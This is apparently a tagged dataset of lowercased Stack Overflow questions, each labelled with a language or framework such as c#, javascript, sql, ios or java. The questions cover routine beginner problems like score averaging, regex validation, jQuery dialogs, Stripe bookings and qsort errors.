letter grade.,java
c# write a program that computes the average of five exam scores  i am doing my homework. english is not my first language  so i am confused.    this is the question: write a program that computes the average of five exam scores. declare and perform a compile-time initialization with the five exam values. declare integer memory locations for the exam values. use an integer constant to define the number of scores. print all scores. the average value should be formatted with two digits to the right of the decimal. rerun the application with different values. be sure to desk check your results.    i am not sure what is  a compile-time initialization  mean  what is  declare integer memory locations for the exam values.  want me to do  what is  desk check  mean     here is my c# code:   <pre><code>using system; using static system.console;  namespace chap2_1 {     class chap2_1     {         static void main()         {             int score1;             int score2;             int score3;             int score4;             int score5;             double average;              console.write( please enter the 1st score:  );             score1 = convert.toint32(console.readline());             console.write( please enter the 2nd score:  );             score2 = convert.toint32(console.readline());             console.write( please enter the 3rd score:  );             score3 = convert.toint32(console.readline());             console.write( please enter the 4th score:  );             score4 = convert.toint32(console.readline());             console.write( please enter the 5th score:  );             score5 = convert.toint32(console.readline());              average = (score1+score2+score3+score4+score5) /5;              console.write( average score is   +  {0:n2}   average);              console.readkey();         }     } } </code></pre>,c#
validate string with .match()  i m validating various input data params.    i m trying to figure out .match and regexp.    this seems to validate if a string only contains 0-9 characters:   <pre><code>!str.match(/^[0-9]+$/) </code></pre>   and fails if the string contains anything else.    is that correctly understood  or does it simply check if the string contains any 0-9 characters     so i can do:   <pre><code>if (!string.match(/^[0-9]+$/))     console.log( fails as the string contains other characters than 0-9 ); </code></pre>,javascript
security of data stored  i have an app that has an inapp purchase. in this store i can download 1 item that consost in 10 special bullets. now  as i download i make:   <pre><code>file *pfile=fopen( bullets.dat    wb );         rewind(pfile); fprintf(pfile   %d  numberofbullet); fclose(pfile); </code></pre>   the question is: this solution is easily hackable  (i think so) do i need more secure way to store data or no  what is the best way to store information  (i store only one integer but perhaps there is more convenient way to do it) thanks,objective-c
ios app doesn t open first touch  whenever i click on my app s icon  it animated the user interaction but doesn t open the app.    this only happens sometimes after i navigate to other apps can come back.,ios
show simple modal dialog using jquery  there is the simple following div:   <pre><code>&lt;div id= dialogg &gt;     hello  world! &lt;/div&gt; </code></pre>   some css style:   <pre><code>#dialogg {     display: none; } </code></pre>   and jquery code:   <pre><code>&lt;script src= assets/js/jquery-1.9.1.min.js &gt;&lt;/script&gt; &lt;script src= assets/js/jquery-ui-1.10.2.custom.js &gt;&lt;/script&gt; &lt;script src= assets/js/jquery-ui-1.10.2.custom.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt;     $(function() {         $( #dialogg ).dialog({             autoopen: false;             width: 400;         });         $( #dialogg ).dialog( open );     }); &lt;/script&gt; </code></pre>   but i see no dialogs! how can i fix it  what s wrong      update:   <pre><code>&lt;head&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;     &lt;title&gt;исторический турнир&lt;/title&gt;     &lt;link rel= stylesheet  type= text/css  href= assets/css/main-styles.css &gt;     &lt;link rel= stylesheet  type= text/css  href= assets/css/departments-page-styles.css &gt;     &lt;link rel= stylesheet  href= http://code.jquery.com/ui/1.10.2/themes/smoothness/jquery-ui.css  /&gt;     &lt;script src= assets/js/jquery-1.9.1.min.js &gt;&lt;/script&gt;     &lt;script src= assets/js/jquery-ui-1.10.2.custom.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript &gt;         $(function() {             $( #dialogg ).show();             $( #dialogg ).dialog({                 autoopen: false;                 width: 400;             });             $( #dialogg ).dialog( open );         });     &lt;/script&gt; &lt;/head&gt; </code></pre>   but this code doesn t still work.,jquery
regarding satellite assembly in .net <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1941700/what-is-a-satellite-assembly >what is a satellite assembly </a>    </blockquote>     what is satellite assembly and how it is created or how to create it explicitly. please discuss. thanks,.net
is the max attribute  while being used with the date input type restricted only to the yyyy/mm/dd format   i ve tried turning    <pre><code>&lt;input type= date  max= 1967-12-25 &gt; </code></pre>   into    <pre><code>&lt;input type= date  max= 12-25-1967 &gt; </code></pre>   while the former worked  the latter didn t,html
adding substring from a textbox to a listbox  i have a textbox in which the user enters some string. now  i extract a substring from the main string and display it into a listbox.    for example:  if the user enters: select a1 a2 a3 from table1  then i need a1 a2 and a3 as separate items of my listbox.    i am able to do that easily  however there s a small problem that is occurring.    as soon as the user finishes typing the word  from   the values get added to the listbox and if the user types anything after  from (even a space)  the values get added again.    i need the values only once. what am i missing  please help   <pre><code>private void textbox1_textchanged(object sender  eventargs e)     {          string substr;         string str = textbox1.text.tostring();         match m = regex.match(str  @ ( &lt;=.\s+).+ ( =\s+from)   regexoptions.ignorecase);         try         {             if (m.success)             {                 substr = m.value;                 string[] sub = substr.split(   );                 foreach (string x in sub)                 {                     listbox1.items.add(x);                 }             }         finally         {             listbox1.endupdate();         }      } </code></pre>,c#
randomly sum rows  i would like to randomly insert in a new temp_table the records from the initial table below  grouping them by a new po number (1234-1  1234-2 etc..) where each group sum(tkg) is &lt;20 and sum(tvol) is &lt;0.1    <pre><code>initial table   lineid  po  item    qty weight  volume  t.kg    t.vol 1   1234    abcd    12  0.40    0.0030  4.80    0.036 2   1234    efgh    8   0.39    0.0050  3.12    0.040 3   1234    ijkl    5   0.48    0.0070  2.40    0.035 4   1234    mnop    8   0.69    0.0040  5.53    0.032 5   1234    qrst    9   0.58    0.0025  5.22    0.023 6   1234    uvwx    7   0.87    0.0087  6.09    0.061 7   1234    yzab    10  0.71    0.0064  7.10    0.064 8   1234    cdef    6   0.69    0.0054  4.14    0.032 9   1234    ghij    7   0.65    0.0036  4.55    0.025 10  1234    klmn    9   0.67    0.0040  6.03    0.036  new temp_table should look like:  lineid  po  item    qty weight  volume  t.kg    t.vol 1   1234-1  abcd    12  0.40    0.0030  4.80    0.036 2   1234-1  efgh    8   0.39    0.0050  3.12    0.040 5   1234-1  qrst    9   0.58    0.0025  5.22    0.023 3   1234-2  ijkl    5   0.48    0.0070  2.40    0.035 4   1234-2  mnop    8   0.69    0.0040  5.53    0.032 8   1234-2  cdef    6   0.69    0.0054  4.14    0.032 6   1234-3  uvwx    7   0.87    0.0087  6.09    0.061 10  1234-3  klmn    9   0.67    0.0040  6.03    0.036 9   1234-4  ghij    7   0.65    0.0036  4.55    0.025 7   1234-4  yzab    10  0.71    0.0064  7.10    0.064 </code></pre>   i can t figure out how to code this...,sql
convert .gif image from an url to .png  how to convert .gif image from an url to .png    i have a url containing .gif images. do simulator support .gif image    <pre><code>self.imageview.image = [uiimage imagewithdata: [nsdata datawithcontentsofurl: [nsurl urlwithstring: [dic objectforkey:@ pictureurl ]]]]; </code></pre>,iphone
.net choosing between structures and classes  <strong>duplicate:</strong> <a href= https://stackoverflow.com/questions/85553/when-should-i-use-a-struct-instead-of-a-class/85656 >when should i use a structure instead of a class </a>    just wondering if anyone can provide some advice or examples of when it is best to use a structure over a class in .net or vice versa    i have done some background reading and understand the differences between two  ie structures are stored on the stack  classes on the heap ect. but havent been able to find some clear examples where one would provide a benefit over the other.    many thanks,.net
slow jquery - long load times   i am completly new to jquery. it s possible that i missed some basic things and my code looks like piece of junk. feel free to ignore this one if you like.    i wrote this code  but sometimes  the browser just doesn t respond to my  clics  and doesn t do anything. then it works properly  after some time it s stuck again.  any ideas  thanks a lot!    <pre><code>$(document).ready(function() {  $( #text2 ).hide(); $( #text3 ).hide();  $( #ball1 ).click(function() {     $( #text2 ).fadeout( slow );     $( #text3 ).fadeout( slow );     $( #text1 ).fadein( slow );     $( #arrow ).animate({left: 40px });   $( #ball2 ).click(function() {     $( #text1 ).fadeout( slow );     $( #text3 ).fadeout( slow );     $( #text2 ).fadein( slow );     $( #arrow ).animate({left: 400px });   $( #ball3 ).click(function() {     $( #text2 ).fadeout( slow );     $( #text1 ).fadeout( slow );     $( #text3 ).fadein( slow );     $( #arrow ).animate({left: 770px }); }); });   });   }); </code></pre>,jquery
booking process issues - stripe and rails  ok  i have been trying to find the issue for the past 2 hours.. for some reason my bookings don t come through  not even notifications appear on the page.     when i click book now  the page reloads and doesn t give me any errors  so not sure what am i doing wrong.    i m adding the stripe to the booking path step by step. the book now button was working fine on its own before  but now that i aded the card charges to it - it doesn t.     any help is very welcome! happy to provide additional information  if needed.    thank you    <strong>reservations controller</strong>   <pre><code>def create     room = room.find(params[:room_id])       if current_user.stripe_id.blank          flash[:alert] =  please update your payment method.        return redirect_to payment_method_path          @reservation = current_user.reservations.build         @reservation.room = room         @reservation.price = room.price         @reservation.total = room.price * days          if @reservation.waiting!           if room.request              flash[:notice] =  request sent succesfully            else             charge(room  @reservation)           end         else             flash[:alert] =  cannot make a reservation          end       end     redirect_to room   end def your_trips     @rooms = current_user.rooms   end   def aprove     charge(@reservation  room  @reservation)     redirect_to your_trips_path   end    def decline     @reservation.declined!     redirect_to your_trips_path   end </code></pre>   <strong>reservations controller - private</strong>   <pre><code>private   def set_reservation     @reservation = reservation.find(params[:id])   end    def charge(room  reservation)       if !reservation.user.stripe_id.blank          customer = stripe::customer.retrieve(reservation.user.stripe_id)         charge = stripe::charge.create(           :customer =&gt; customer.id            :amount =&gt; reservation.price            :description =&gt; room.overview            :currency =&gt;  usd          )          if charge           reservation.approved!           flash[:notice] =  reservation created successfully!          else           reservation.declined!           flash[:alert] =  cannot charge with this payment method!          end       end      rescue stripe::carderror =&gt; e       reservation.declined!       flash[:alert] = e.message   end </code></pre>,ruby-on-rails
increasing object allocations  while checking object allocations in the instruments <pre><code>- (mkannotationview *) mapview:(mkmapview *)mapview viewforannotation:(id &lt;mkannotation&gt;) annotation {     mkpinannotationview *annview = nil;     annview=[[[mkpinannotationview alloc] initwithannotation:annotation reuseidentifier:@ currentloc ]autorelease];     for(int i=0;i&lt;[list count];i++)     {         small *obj=[list objectatindex:i];         if([[annview.annotation title] isequaltostring:obj.streetaddress])         {             annview.animatesdrop=true;             annview.canshowcallout = yes;             annview.calloutoffset = cgpointmake(-5  5);             annview.rightcalloutaccessoryview=[uibutton buttonwithtype:uibuttontypedetaildisclosure];             [annview setpincolor:mkpinannotationcolorgreen];          }      }      return annview; } </code></pre>,objective-c
why isn t my function get called   why isn t my function get called  i didn t make any syntax errors.    also  <code>return false</code> isn t the problem. my function should still get called.   <pre><code>&lt;form onsubmit= createcomment(commenttype  currentquestionid  $( #addcommentauthor ).val()  $( #addcommentemail ).val()  $( #addcommentcontent ).val()  $( #addcommentdate ).val());return false;  method= post &gt;  var createcomment = function(commenttype  questionid  author  email  content  date) {     console.log( asd )     $.ajax({         url:  controller.php           type:  post           data: {             commenttype: commenttype              questionid: questionid              add_comment_author: author              add_comment_email: email              add_comment_content: content              add_comment_date: date         }          success: function(data) {             console.log(data)         }     }) } </code></pre>,javascript
how to hide and show in html element dynamically  html input element hide and show using link tag. example:yahoo mail bcc hide and show,html
sort kay-value based on key in descending order  say i have an array like     <pre><code>$x = [1012 =&gt;  banana  2012 =&gt;  orange   2 =&gt;  chocolate ]; </code></pre>   i should be getting the result like:   <pre><code>$x = [2012 =&gt;  orange  1012 =&gt;  banana  2 =&gt;  chocolate ]; </code></pre>   so in the descending order based on the number in the key positions.,php
javascript patch-work error  i am using sales force platform but it is a javascript problem. i have a button and on click this button should<a href= http://i.stack.imgur.com/dwlxs.png  rel= nofollow >enter image description here</a> check a check box and a <strong>pop up</strong> should appear. it works fine but sometimes it gives me an error. i am attaching the console here. please help me to fix this issue.,javascript
angularjs  resolve and unknown provider  i ve two routes with resolve. goes like this:   <pre><code>.when( /foos   { templateurl:  views/foos.html   controller:  foosctrl   resolve: {     foo_list: [ $q    $route    $timeout    $location    foos   function($q  $route  $timeout  $location  foos) {         // postpone the execution         var deferred_foo = $q.defer()          foos.getfoos({token:session_uid}  successcb)          function successcb(list) {             if(list[ status ] === 200) {                 deferred_foo.resolve(list)             }             else {                 alert( crashcrashcrash )                 deferred_foo.reject( something just wasn t right )                 //$location.path( maintenance )             }         }         return deferred_foo.promise         }]     } }) .when( /r/:type/:bar_id   {     templateurl:  views/bar.html       controller:  barsctrl       resolve: {         bar: [ $q    $route    $timeout    $location    bars   function($q  $route  $timeout  $location  bars) {             // postpone the execution             var deferred = $q.defer()              bars.getbar({type: bar_type}  successcb)                  function successcb(result) {                 if(result[ status ] === 200) {                     deferred.resolve(result)                     }                 else {                     alert( crashcrashcrash )                     deferred.reject( something just wasn t right )                     $location.path( foos )                 }                  return deferred.promise                 }]             }         }) </code></pre>   then i ve two controllers working like this:   <pre><code> app.controller( foosctrl   [ $scope    $location    foos    foo_list   function($scope  $location  foos  foo_list) {...}   app.controller( barsctrl   [ $scope    $routeparams    $location    bars    bar    sharedservice   function($scope  $routeparams  $location  bars  bar  sharedservice) {...} </code></pre>   could somebody explain why bar works but foo gives me <code>error: unknown provider: foo_listprovider &lt;- foo_list</code>  i ve tried replacing <code>foo_list</code> with different name in case camelcasing did something but didn t help.,angularjs
how to load 2 functions in javascript at window.onload  i am just picking up on javascript and i need to load 2 functions that i want to use when the window loads.    one function captures the form name and utm parameters while the other generates a unique number. all these on window.onload in javascript for an html page.    my script below.   <pre><code>&lt;script type= text/javascript &gt;  var defaulthiddenfieldnamevalue =   ;  function getquerystringparamvalue(strqstrparam) {  var strurl = document.location.href;  var strqstrparamvalue =   ;             if (strurl.indexof(   ) != -1)            {                        strqstrparamvalue = strurl.substr(strurl.indexof(   ) + 1);                        if (strqstrparamvalue.indexof(strqstrparam) != -1)                        {                                    strqstrparamvalue = strqstrparamvalue.substr(strqstrparamvalue.indexof(strqstrparam));                                    strqstrparamvalue = strqstrparamvalue.substr(strqstrparamvalue.indexof( = ) + 1);                                    if (strqstrparamvalue.indexof( &amp; ) != -1)                                    strqstrparamvalue = strqstrparamvalue.substr(0  strqstrparamvalue.indexof( &amp; ));                                    return strqstrparamvalue;                         }else{                                    strqstrparamvalue = defaulthiddenfieldnamevalue;                                    return strqstrparamvalue;                        }            }else{                        strqstrparamvalue = defaulthiddenfieldnamevalue;                        return strqstrparamvalue;            } }  // form name goes here var form =  formname ;  function setcampaign(){    var elqform = document.forms[form];    //repeat for each field to populate     document.forms[ formname ][ val1 ].value = getquerystringparamvalue( utm_source );     document.forms[ formname ][ val2 ].value = getquerystringparamvalue( utm_medium );       document.forms[ formname ][ val3 ].value = getquerystringparamvalue( utm_campaign ); }   function visitorid() {   var min = 1;   var max = 9999999999;   var num = math.floor(math.random() * (max - min + 1)) + min;   var timenow = new date().gettime();   document.getelementbyid( field16 ).value = num +  _  + timenow; }  function both() {   function visitorid();   function setcampaign(); }  window.onload = both; &lt;/script&gt; </code></pre>,javascript
how to avoid file_get_contents error:  couldn t resolve host name   i succesfully fetch websites with    <pre><code>file_get_contents( http://www.site.com ); </code></pre>   however  if the url doesn t exist  or not reachable  i am getting   <pre><code>warning: file_get_contents(http://www.site.com) [function.file-get-contents]:  failed to open stream: operation failed in /home/track/public_html/site.php  on line 773 </code></pre>   is it possible to <code>echo  site not reachable ;</code> instead of the error,php
localization in android rtl design  i am working on localization in android.can anyone suggest what is the best way to deal with rtl screens for arabic language. i want design to set alignment if the user is selecting arabic in languages,android
how to use jquery on asp.net button and by using that i want to perform show() on apanel..and perform some server side code  i am doing a project in asp.net. i have a panel which contains some field like txtbox  buttons etc..i want to use jquery event on a asp.net button click which will open this panel by using jquery show() function and also perform some tasks in server side. please help me.    the code is :   <pre><code>protected void btninsertfordeo_click(object sender  eventargs e) {        // gridviewforcontact.enabled = false;         panelforinsert.visible = true;         colvisible = true;         txtfaxnoextra.focus();         if (colvisible == true)         {             gridviewforcontact.columns[9].visible = false;         }         colvisible = false;  } </code></pre>,asp.net
strange animation of iphone ui  i am making my ui from nib files and have added a few animations for uikit.but as i continue to use my application ui starts to load while animating.even navigation bar show with an animation.it seems some kind of memory issue or by some reason uikit is taking time to draw its controls.would appreciate any kind of help,iphone
how do i use jquery in comparing the two selectors   i have to compare two selectors and i was wondering why does this return false in firebug...and how do i compare two selectors   <pre><code>$( .product-info:last ) == $( .product-info:last ) </code></pre>   this is what i have to do   <pre><code>    var previous = $( .product-info:visible );     if(previous == $( .product-info:last )){         return false;     } </code></pre>,jquery
how to check grid view is empty or not  how to check for grid view empty or not please let me know,asp.net
how to read draft message address   it always returns null value  i am implementing sms application  i want to store all sms values into internal xml file and restore sms values from xml file into sms application  so far inbox messages and sent messages working fine but problem with draft messages. please help me on this   thank you.,android
css display (cannot top valign)  <img src= https://i.stack.imgur.com/ndgqq.jpg  alt= display problem >    you can see from the picture that the input(type=number) and button(rate) cannot top valign    this is my code.. how can i fix this problem    <pre><code> &lt;form class= formrate  action= /rate  method= post &gt;     &lt;input type= hidden  name= contentid  value= &lt;%= photo.id %&gt;  /&gt;     &lt;input type= hidden  name= source  value= &lt;%= photo.source %&gt;  /&gt;     &lt;input type= number  name= score  min= 1  max= 5  style= width:30px; /&gt;     &lt;input type= button  class= btn btn-danger  value= rate /&gt;     &lt;/form&gt; </code></pre>,css
how do i access the data in json object in angularjs  i am trying to access a the data in a json object using angular but i finding it difficult to this at the moment and hopefully you can help me here.    so i have a function in my controller like this:   <pre><code>var vm = this; vm.getdata = getdata; vm.data = [];    function getdata() {         var promise = appservice.getall(vm.query);         promise.then(function(response) {             vm.data = response.data                      console.log(vm.data);             }              function(error) {                 $log.error( an error here   error);             });       } </code></pre>   and my view goes something like this:   <pre><code>&lt;div&gt;    &lt;table class= table &gt;         &lt;tr &gt;             &lt;th&gt; department&lt;/th&gt;           &lt;/tr &gt;         &lt;tr ng-repeat= n in vm.data &gt;             &lt;td&gt;{{n.sectionname}} &lt;/td&gt;         &lt;/tr&gt;       &lt;/table&gt;   &lt;/div&gt; </code></pre>   everything works .. i retrieve my json object as required .. but its just accessing them is where i am having in issue as the above context in my view is not dispplayed ..  so in my example above i am trying to acess a json with the heaser of  sectionname  and displaying it in my view.    here is a visual of of the json object in my console ... <a href= https://i.stack.imgur.com/cmeqj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cmeqj.png  alt= enter image description here ></a>    thank you for your time,angularjs
invalid use of non-static member function in qsort c++  here is my function in class suffixarray:   <pre><code>int pstrcmp(const void *a  const void *b) {  return strcmp((const char *)*(char **)a  (const char *)*(char **)b); } </code></pre>   i used this comparison function in qsort：   <pre><code>qsort(ap  len1+len2  sizeof(char *) pstrcmp); </code></pre>   which ap is a pointer array of suffix    when i compile it  there is an error:  invalid use of non-static member function    and i use notepad++ to compile it  it provide that   <pre><code> error: cannot convert  suffixarray::pstrcmp  from type  int (suffixarray::)(const void*  const void*)  to type  int (*)(const void*  const void*)   qsort(ap  len1+len2  sizeof(char *) pstrcmp); </code></pre>   is there anyone can help me,c++
site inside .exe  everytime link is clicked  it open internet explorer  not mozzila firefox (default browser) <pre><code>&lt;html&gt; &lt;head&gt;     &lt;title&gt;news n events&lt;/title&gt;     &lt;link rel= stylesheet  href= stylesheet.css &gt; &lt;/head&gt; &lt;body bgcolor= #636363 &gt;     &lt;div class= newsevents &gt;         &lt;div id= news &gt;             &lt;table cellspacing= 0  cellpadding= 0 &gt;&lt;tr&gt;                     &lt;td class= title &gt;                         &lt;img src= news.png  /&gt;&amp;nbsp;&amp;nbsp;&lt;a target= _blank  href= http://forum.tribalro.com/showthread.php tid=1 &gt;server information&lt;/a&gt;                     &lt;/td&gt;                 &lt;/tr&gt;&lt;tr&gt;                     &lt;td class= title &gt;                         &lt;img src= news.png  /&gt;&amp;nbsp;&amp;nbsp;&lt;a target= _blank  href= http://forum.tribalro.com/showthread.php tid=1 &gt;lorem ipsum dolor sit amet  consectetur adipisicing elit&lt;/a&gt;                     &lt;/td&gt;                 &lt;/tr&gt;&lt;tr&gt;                     &lt;td class= title &gt;                         &lt;img src= events.png  /&gt;&amp;nbsp;&amp;nbsp;&lt;a target= _blank  href= http://forum.tribalro.com/showthread.php tid=1 &gt;lorem ipsum dolor sit amet  consectetur adipisicing elit&lt;/a&gt;                     &lt;/td&gt;                 &lt;/tr&gt;&lt;tr&gt;                     &lt;td class= title &gt;                         &lt;img src= news.png  /&gt;&amp;nbsp;&amp;nbsp;&lt;a target= _blank  href= http://forum.tribalro.com/showthread.php tid=1 &gt;lorem ipsum dolor sit amet  consectetur adipisicing elit&lt;/a&gt;                     &lt;/td&gt;                 &lt;/tr&gt;&lt;tr&gt;                     &lt;td class= title &gt;                         &lt;img src= news.png  /&gt;&amp;nbsp;&amp;nbsp;&lt;a target= _blank  href= http://forum.tribalro.com/showthread.php tid=1 &gt;lorem ipsum dolor sit amet  consectetur adipisicing elit&lt;/a&gt;                     &lt;/td&gt;                 &lt;/tr&gt;&lt;tr&gt;                     &lt;td class= title &gt;                         &lt;img src= update.png  /&gt;&amp;nbsp;&amp;nbsp;&lt;a target= _blank  href= http://forum.tribalro.com/showthread.php tid=1 &gt;lorem ipsum dolor sit amet  consectetur adipisicing elit&lt;/a&gt;                     &lt;/td&gt;                 &lt;/tr&gt;&lt;tr&gt;                     &lt;td class= title &gt;                         &lt;img src= update.png  /&gt;&amp;nbsp;&amp;nbsp;&lt;a target= _blank  href= http://forum.tribalro.com/showthread.php tid=1 &gt;lorem ipsum dolor sit amet  consectetur adipisicing elit&lt;/a&gt;                     &lt;/td&gt;                 &lt;/tr&gt;&lt;tr&gt;                     &lt;td class= title &gt;                         &lt;img src= news.png  /&gt;&amp;nbsp;&amp;nbsp;&lt;a target= _blank  href= http://forum.tribalro.com/showthread.php tid=1 &gt;lorem ipsum dolor sit amet  consectetur adipisicing elit&lt;/a&gt;                     &lt;/td&gt;                 &lt;/tr&gt;&lt;/table&gt;          &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   is there any wrong with that  because another code do open firefox (default browser) but its packed by software and they only do redirect  the only reason i don t do the same to the index.html because it s the news &amp; events page  must keep to update  but this one  writed in a notepad  a html file  i don t know how the hell this can happen  pretty weird.    i want to try to open the default browser instead of internet explorer.,html
search a database for a sentence separated by a delimiter in sql  i currently have knowledge base articles in a database  and the system separates the keywords relating to the article by a semicolon.    on the front facing form  i have a text box limited to 100 characters. how do i create a sql query that looks at the words within the text box and starts matching those words to the keywords within the database     i basically want to create a search a little like google s.    i am currently using <code>like  %{token}% </code>. however  this is not good enough.,sql
what is the difference between response.redirect and response status 301 redirects in asp   our asp application is moving to new server and i want to implement a permenant url redirection. i am aware of following two approaches   i need to understand which one to user over other and when      option 1:   <pre><code>&lt;%@ language=vbscript %&gt;&lt;% response.redirect  http://www.example.com  %&gt; </code></pre>   option 2:   <pre><code>&lt;%@ language=vbscript %&gt;&lt;% response.status= 301 moved permanently     response.addheader  location   http://www.example.com/  %&gt; </code></pre>   thanks     nikhil.,asp.net
sql combining count with no count  i have a practice question that i am struggling with.    here are:   <ol> <li>image of the table</li> <li>my code and the answer i get</li> <li>the answer im supposed to get</li> </ol>   <a href= https://i.stack.imgur.com/hmdtp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hmdtp.png  alt= enter image description here ></a>    thanks.,sql
php - printing out values of arrays inside arrays  i have a system that inputs multiple images via a backend script ... i want to be able to echo out the images into a list on the frontend so i can manipulate them.    im not exactly sure how i would do this using a loop.    in my php im viewing the contents of the array using the following:   <pre><code>&lt; php print_r($node-&gt;rotator[ und ]);  &gt; </code></pre>   when it prints out  its giving me the following information   <pre><code>array (     [0] =&gt; array ( [fid] =&gt; 4 [alt] =&gt; [title] =&gt; [uid] =&gt; 1 [filename] =&gt; fredmanhhh.jpeg [uri] =&gt; public://fredmahjk.jpeg [filemime] =&gt; image/jpeg [filesize] =&gt; 108646 [status] =&gt; 1 [timestamp] =&gt; 1311781185 [rdf_mapping] =&gt; array ( ) )      [1] =&gt; array ( [fid] =&gt; 6 [alt] =&gt; [title] =&gt; [uid] =&gt; 1 [filename] =&gt; 92_mr_t_snickers1.jpeg [uri] =&gt; public://92_mr_t_snickers1_1.jpeg [filemime] =&gt; image/jpeg [filesize] =&gt; 475757 [status] =&gt; 1 [timestamp] =&gt; 1311785879 [rdf_mapping] =&gt; array ( ) )  ) </code></pre>   what i need to do with a loop is extract the [filename] and add that inside the list tag for each image thats been uploaded.    if anyone could help me  that would be grand.    cheers,php
toggle buttons in angularjs  can some on tell me if there is smething wrong with the below code as i am unable to get the buttons toggled   <pre><code> &lt;div class= modal-footer textalignleft &gt;     &lt;button type= button  class= btn btn-sm btn-default              name= close  ng-show= !closehidden              ng-click= cancel() &gt;close&lt;/button&gt;     &lt;button type= button  class= btn btn-sm btn-default              name= cancel  ng-show= closehidden              ng-click= cancelupload() &gt;cancel&lt;/button&gt;     &lt;button type= button  class= btn btn-sm btn-primary marleft10              name= attachfile  id= uploadbtn              ng-click= attach()  ng-disabled= attachdisabled &gt;        {{ resource[ common.attachbtn ] }}     &lt;/button&gt; &lt;/div&gt; </code></pre>   once i click on attach button  i want the close button to disappear and the cancel button to show up. but it always shows only the close button though i see the scope variable scope.closehidden updated to true in my code. any hints,angularjs
sent message or received message  <ol> <li> as i known  <code>[self setdate:...]</code> mean <code>self</code> is receiver and <code>setdate:</code> is message. so which is the sender   </li> <li> i set a button with action <code>(ibaction)buttonpressed:(id)sender</code>. i understood that this button is the targer and <code>buttonpressed</code> is the action. so which is can be <code>sender</code>   </li> </ol>,objective-c
get symlink using os.walk  i m using <code>os.walk</code> to traverse my directories. the problem is i want to recognize if a file is a symbolic link  not following through with the link. this code:   <pre><code>for root  dirs  files in os.walk(project_path):     for f in files:         # i want os.path.islink(f) to return true for symlink here         # instead of ignoring them by default </code></pre>   will not give me symlinks  while this code   <pre><code>for root  dirs  files in os.walk(project_path  followlinks=true):     for f in files </code></pre>   will walk the directories that the symlinks point to but doesn t give me the symlinks themselves. thanks.,python
can not make move the object in java  i am trying to write simple code in java for a moving ball program. im new to java  i mean i know the basics one so here it is my code  in case you can help me.i cant move the ball object. i created the class frame which have the gui component and also the ball class with the features of he ball   <pre><code>    public class frame extends jframe{          private static final int width= 500;         private static final int height=500;         private static final color cbw= color.black;         private ball ball; // the moving object         private drawcanvas canvas; // the custom drawing canvas         private jpanel btnpanel; // the panel of the buttons         private jpanel mainpanel; // the mainpanel        private jbutton button_ml; // move_left button        private jbutton button_mr;// move_right button         public frame (){          setproperties();             init();             setui();           }         private void setproperties() {             setsize(width  height);             settitle( move the ball );             setdefaultcloseoperation(exit_on_close);             setlocationrelativeto(null);         }          private void init(){             btnpanel = new jpanel(new flowlayout());            mainpanel= new jpanel(new borderlayout());            button_ml = new jbutton( move left );            button_mr = new jbutton( move right );             //creating the ball with its features            ball= new ball (30 30 width/2-2 height/2-10 color.red);             canvas = new drawcanvas();            // it makes possible the ball to be seen though we have a main panel.            canvas.setpreferredsize(new dimension(width height));             button_ml.addactionlistener(new actionlistener() {               @override               public void actionperformed(actionevent ae) {                   move_left();                }           });             button_mr.addactionlistener(new actionlistener() {               @override               public void actionperformed(actionevent ae) {                 move_right();                }           });          }         private void setui(){                  mainpanel.add(btnpanel  borderlayout.south);// adds the button panels to the main panel                 btnpanel.add(button_ml);// adds the button to the panel of buttons                  btnpanel.add(button_mr);               mainpanel.add(canvas  borderlayout.center); // adds the canvas to mainpanel                add(mainpanel);  // adds the panel in the frame             }              class drawcanvas extends jpanel {           @override           public void paintcomponent(graphics g) {              super.paintcomponent(g);              setbackground(cbw); // puts color to the background              ball.paint(g);  // the ball paints itself            }             }             private void move_left(){             int savedx = ball.x;           ball.x -=10;            canvas.repaint(savedx  ball.y  ball.width  ball.height);            canvas.repaint(ball.x ball.y ball.width ball.height);            }             private void move_right(){             int savedx = ball.x;          ball.x += 10;           canvas.repaint(savedx  ball.y  ball.width  ball.height);           canvas.repaint(ball.x ball.y ball.width ball.height);               }            } </code></pre>   // the ball class   <pre><code>    public class ball extends jframe {          //variables for the construction of the circle        int x  y; // actual position of the ball        int width  height;// parameters for the size of the rectangle where the circle is posited.         color color = color.red;// the color of the ball         // the constructor of the class         public ball(int x  int y  int width  int height color color) {             this.x = x;//              this.y = y;             this.width = width;             this.height = height;             this.color=color;               }          // method for the color and drawing the ball        public void paint(graphics g) {           g.setcolor(color.red);           g.filloval(80 70  350 350);        }        } </code></pre>,java
-[__nscfconstantstring ascending]: unrecognized selector sent to instance 0x15  i am getting a strange error. when i am trying to sort an array..   <pre><code>- (nsarray *)sortitemsusingdescriptor:(nssortdescriptor *)descriptor {          nsarray *descriptors = [nsarray arraywithobject:descriptor];  //this line is where the exception occurs   nsarray *sortedarray = [self.unsortedarray sortedarrayusingdescriptors:descriptors];               return sortedarray; } </code></pre>   and yes  all the objects of the  unsortedarray  has the property specified in the descriptor. any ideas,ios
can you have a foreign table name like a foreign key   i m playing with some ideas.  basically i want a foreign key but i want the table that the key should be used to also be in the row.  so that the foreign keys can refer to different tables.  generally you d only be returning one result from any given query that needed to dereference this  pointer .    i know i could just store the table name and use two select statements to do it  inserting the result of the first select to get the table and key into the next call to index the right table  but can it be done with a single select on the database   what would the sql look like     edit: let me see if i can come up with an example. mediatable id | name | owner| type | fkey    mp3 id | artist | album | title | bitrate | codec | data    movie id | title | resolution | imdburl | audiocodec | videocodec | data    ok contrived but ... leta say i want to search the mediatable for all titles (in mp3 or movie tables) where mediatable.owner =  ekl   assuming fkey is the foreign key of the id field.   can  mediatable.type  select which table that fkey should apply to     yes  i know its not the best way to do this particular example  but its easier than explaining two larger projects where i would want this.,sql
android: how can i centercrop the background of a view   i don t want to insert an imageview into my view  i just want to set a bitmap as the background of my view. but i want the bitmap centercropped. by default the bitmap background is stretched to fit the bounds of the view.,android
